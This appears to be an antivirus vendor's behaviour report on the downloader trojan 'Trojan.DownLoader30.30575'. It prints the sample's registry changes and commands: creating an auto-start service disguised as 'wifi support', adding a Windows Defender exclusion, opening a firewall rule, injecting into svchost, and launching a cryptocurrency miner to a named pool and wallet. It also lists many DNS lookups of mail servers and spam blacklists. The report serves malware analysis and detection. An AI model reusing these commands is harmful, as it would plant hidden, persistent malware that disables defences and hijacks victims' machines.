Trojan.DownLoader30.30575

Technical Information

To ensure autorun and distribution

Creates the following services

[<HKLM>\System\CurrentControlSet\Services\ewfmzjis] 'Start' = '00000002'
[<HKLM>\System\CurrentControlSet\Services\ewfmzjis] 'ImagePath' = '%WINDIR%\SysWOW64\ewfmzjis\lykhansc.exe /d"<Full path to file>"'
[<HKLM>\SYSTEM\CurrentControlSet\services\ewfmzjis] 'ImagePath' = '%WINDIR%\SysWOW64\ewfmzjis\lykhansc.exe'

Malicious functions

To complicate detection of its presence in the operating system,

adds antivirus exclusion with following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\SysWOW64\ewfmzjis' = '00000000'

Executes the following

'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul

Injects code into

the following system processes:

%WINDIR%\syswow64\svchost.exe

Modifies file system

Creates the following files

%TEMP%\lykhansc.exe
%WINDIR%\syswow64\config\systemprofile:.repos

Moves the following files

from %TEMP%\lykhansc.exe to %WINDIR%\syswow64\ewfmzjis\lykhansc.exe

Deletes itself.

Network activity

TCP

HTTP GET requests

http://www.google.com/
http://89.##.105.12/ip.shtml

UDP

DNS ASK mi##########m.mail.protection.outlook.com
DNS ASK pf##er.com
DNS ASK sh#w.ca
DNS ASK sm##.##b.shawcable.net
DNS ASK na##es.fr
DNS ASK ma##.###tes.fr.alinto.com
DNS ASK he###odie.com
DNS ASK mx.###woodie.com
DNS ASK he##.net
DNS ASK aspmx.l.google.com
DNS ASK ve##zon.com
DNS ASK mx#######201.gslb.pphosted.com
DNS ASK at###obal.net
DNS ASK mx####.carrierzone.com
DNS ASK he##.com
DNS ASK am###tech.com
DNS ASK mx######91d01.pphosted.com
DNS ASK va###eersum.nl
DNS ASK mx#.###.#ailpod4-cph3.one.com
DNS ASK sh###ku.co.uk
DNS ASK fi####.#rome-hosting.com
DNS ASK sg.#bm.com
DNS ASK mx#.##ercito.mil.ar
DNS ASK ca###er.utc.com
DNS ASK ej###ito.mil.ar
DNS ASK ku###own.edu
DNS ASK wa##doo.fr
DNS ASK sm####n.orange.fr
DNS ASK wa##doo.es
DNS ASK in#.#anadoo.es
DNS ASK wa##ik.net
DNS ASK mx#.###.#ailpod2-cph3.one.com
DNS ASK wy##h.com
DNS ASK mx#######f02.gslb.pphosted.com
DNS ASK wa######radisehawaii.com
DNS ASK do###ite.co.uk
DNS ASK mx.####rnet-mail.co.uk
DNS ASK he#####el-bretten.de
DNS ASK dh####.emig.gmx.net
DNS ASK pe#####araviation.com
DNS ASK d1######.#ss.barracudanetworks.com
DNS ASK he##z.com
DNS ASK mx.########ity.com.cust.hostedemail.com
DNS ASK tc##ay.tc
DNS ASK mx##.#pcmail.net
DNS ASK te###.com.br
DNS ASK vi#####br-mx.terra.com
DNS ASK ba#####da.kutztown.edu
DNS ASK sh##tel.net
DNS ASK ba######a.cloud.shentel.net
DNS ASK tu##er.com
DNS ASK he###hsouth.com
DNS ASK hp##.##althsouth.com
DNS ASK vi##ost.com
DNS ASK ma##.#ivhost.com
DNS ASK ti###linet.it
DNS ASK im#####ncialgroup.com
DNS ASK mx#######501.gslb.pphosted.com
DNS ASK bu###sand.com
DNS ASK mx######02601.pphosted.com
DNS ASK an##em.com
DNS ASK vi##ua.org
DNS ASK do###iten.at
DNS ASK mx##.#spgateway.de
DNS ASK fo####sgroup.com
DNS ASK mx#######e03.gslb.pphosted.com
DNS ASK pa##er.com
DNS ASK mx#######601.gslb.pphosted.com
DNS ASK do####tenkasperl.at
DNS ASK al####.uberspace.de
DNS ASK ja##ar.com
DNS ASK ma##.#zshk.com.hk
DNS ASK vi##in.com
DNS ASK pz###.com.hk
DNS ASK ma##.##computing.net
DNS ASK wa##ie.net
DNS ASK to###ertyre.com
DNS ASK mx##.#hinaemail.cn
DNS ASK mc##i.com
DNS ASK sm######.mc.a.cloudfilter.net
DNS ASK ex###mobil.com
DNS ASK ma####.exxonmobil.com
DNS ASK qe##.com
DNS ASK ca####llegacm.com
DNS ASK mx##.1and1.es
DNS ASK d6#####.##s.barracudanetworks.com
DNS ASK pb####1.pobox.com
DNS ASK po##x.com
DNS ASK ma###.#aint-gobain.com
DNS ASK to##kk.com
DNS ASK mx.##ntent.com
DNS ASK vi#.#ina.com
DNS ASK mx#.##p.sina.com
DNS ASK ad##ess.com
DNS ASK ma####.mailtwo.com
DNS ASK ha###burton.com
DNS ASK mx#######f01.gslb.pphosted.com
DNS ASK mx#######b02.gslb.pphosted.com
DNS ASK sa####gobain.com
DNS ASK pr#######t-agent1.virtua.org
DNS ASK un###-inc.com
DNS ASK li##ro.it
DNS ASK ho###nders.ch
DNS ASK al###.mx.genotec.ch
DNS ASK ju##y.it
DNS ASK do##ain.com
DNS ASK ma##.#olmain.com
DNS ASK ho###il.co.uk
DNS ASK eu#.###.#rotection.outlook.com
DNS ASK ku##i.ch
DNS ASK ti#.it
DNS ASK mx.#im.it
DNS ASK pi##ti.ch
DNS ASK mx#.###l.hostpoint.ch
DNS ASK bi##ond.com
DNS ASK ex####l.bigpond.com
DNS ASK do###guel.com
DNS ASK mx#######401.gslb.pphosted.com
DNS ASK ix.##tcom.com
DNS ASK mx#.##rthlink.net
DNS ASK na##r.com
DNS ASK mx#.#aver.com
DNS ASK st####enopfer.ch
DNS ASK sm###in.sfr.fr
DNS ASK we#.de
DNS ASK 9o##ine.fr
DNS ASK bm##.com
DNS ASK 19#.###.211.95.in-addr.arpa
DNS ASK dt##om.net
DNS ASK 19#.###.#11.95.dnsbl.sorbs.net
DNS ASK dt####.###.mx1.greymail.rcimx.net
DNS ASK lo####-bio-tec.de
DNS ASK ya##o.fr
DNS ASK mx###.##il.am0.yahoodns.net
DNS ASK 19#.###.#11.95.bl.spamcop.net
DNS ASK dr###edds.com
DNS ASK 19#.###.#11.95.zen.spamhaus.org
DNS ASK as#.##flexion.net
DNS ASK 19#.###.##1.95.sbl-xbl.spamhaus.org
DNS ASK 19#.###.#11.95.cbl.abuseat.org
DNS ASK hk.####n.herominers.com
DNS ASK google.com
DNS ASK ca##ma.nl
DNS ASK mx.##.##il.iss.as9143.net
DNS ASK ho##ail.com
DNS ASK ho#########.olc.protection.outlook.com
DNS ASK m1##h.de
DNS ASK mx##.schlund.de
DNS ASK pr####1.bmts.com
DNS ASK mx###03.web.de
DNS ASK do##ins.com
DNS ASK do#########.mail.protection.outlook.com
DNS ASK mx.#####.#om.cust.b.hostedemail.com
DNS ASK ro#####ervicegroup.com
DNS ASK mx#.##ailsrvr.com
DNS ASK po##sci.com
DNS ASK mx#######801.gslb.pphosted.com
DNS ASK se##a.it
DNS ASK re###.sella.it
DNS ASK ac##web.it
DNS ASK mx.##erweb.it
DNS ASK sc##fic.ca
DNS ASK to#####tiscalinet.it
DNS ASK sm####n.libero.it
DNS ASK ti##ali.it
DNS ASK et###.#ail.tiscali.it
DNS ASK ya##o.com
DNS ASK mt##.##0.yahoodns.net
DNS ASK do##ak.sk
DNS ASK ma####.mx-hub.cz
DNS ASK us.#bm.com
DNS ASK mx######b2d01.pphosted.com
DNS ASK pe###epc.com
DNS ASK lv##a.com
DNS ASK mx#.#anmail.net
DNS ASK ha##ail.net
DNS ASK ma##.#olmance.com
DNS ASK di#.it
DNS ASK we###rlaw.ch
DNS ASK bt###nworld.com
DNS ASK mx.##.#topenworld.com
DNS ASK ra##ler.ru
DNS ASK in##.rambler.ru
DNS ASK mi###pring.com
DNS ASK gm##l.com
DNS ASK gmail-smtp-in.l.google.com
DNS ASK mx#######c01.gslb.pphosted.com
DNS ASK ya##o.es
DNS ASK ga###ttaht.it
DNS ASK ve##zon.net
DNS ASK mx####.##il.gm0.yahoodns.net
DNS ASK t-####ecurity.com
DNS ASK ar####.#heemaillaundry.net
DNS ASK ro###sperea.com
DNS ASK mx.####iciodecorreo.es
DNS ASK yh##o.it
DNS ASK do###nce.com
DNS ASK
DNS ASK ch####ro.univr.it
DNS ASK si##pa.it
DNS ASK mx#######e01.gslb.pphosted.com

Miscellaneous

Creates and executes the following

'%WINDIR%\syswow64\ewfmzjis\lykhansc.exe' /d"<Full path to file>"
'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ewfmzjis\' (with hidden window)
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\lykhansc.exe" %WINDIR%\SysWOW64\ewfmzjis\' (with hidden window)
'%WINDIR%\syswow64\sc.exe' create ewfmzjis binPath= "%WINDIR%\SysWOW64\ewfmzjis\lykhansc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' description ewfmzjis "wifi internet conection"' (with hidden window)
'%WINDIR%\syswow64\sc.exe' start ewfmzjis' (with hidden window)
'%WINDIR%\syswow64\netsh.exe' advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="%WINDIR%\SysWOW64\svchost.exe" enable=yes>nul' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /C mkdir %WINDIR%\SysWOW64\ewfmzjis\
'%WINDIR%\syswow64\cmd.exe' /C move /Y "%TEMP%\lykhansc.exe" %WINDIR%\SysWOW64\ewfmzjis\
'%WINDIR%\syswow64\sc.exe' create ewfmzjis binPath= "%WINDIR%\SysWOW64\ewfmzjis\lykhansc.exe /d\"<Full path to file>\"" type= own start= auto DisplayName= "wifi support"
'%WINDIR%\syswow64\sc.exe' description ewfmzjis "wifi internet conection"
'%WINDIR%\syswow64\sc.exe' start ewfmzjis
'%WINDIR%\syswow64\svchost.exe'
'%WINDIR%\syswow64\svchost.exe' -a cryptonight-heavy --variant xhv -o hk.haven.herominers.com:10451 -u hvxyDpkRtcZaPBeYaKJ5t1XTwUT5K65EnENUmzZQc57Uhan6owyfqWTaQKAh5EQFUPFDaqbGsmVCdXapddCMPTYU6ZshRESV65.60000 -p x1 -k

TECHNOLOGIES

TERMINOLOGIE

COURS ET EDU

MYTHES

Technical Information

Recommandations pour le traitement

Free trial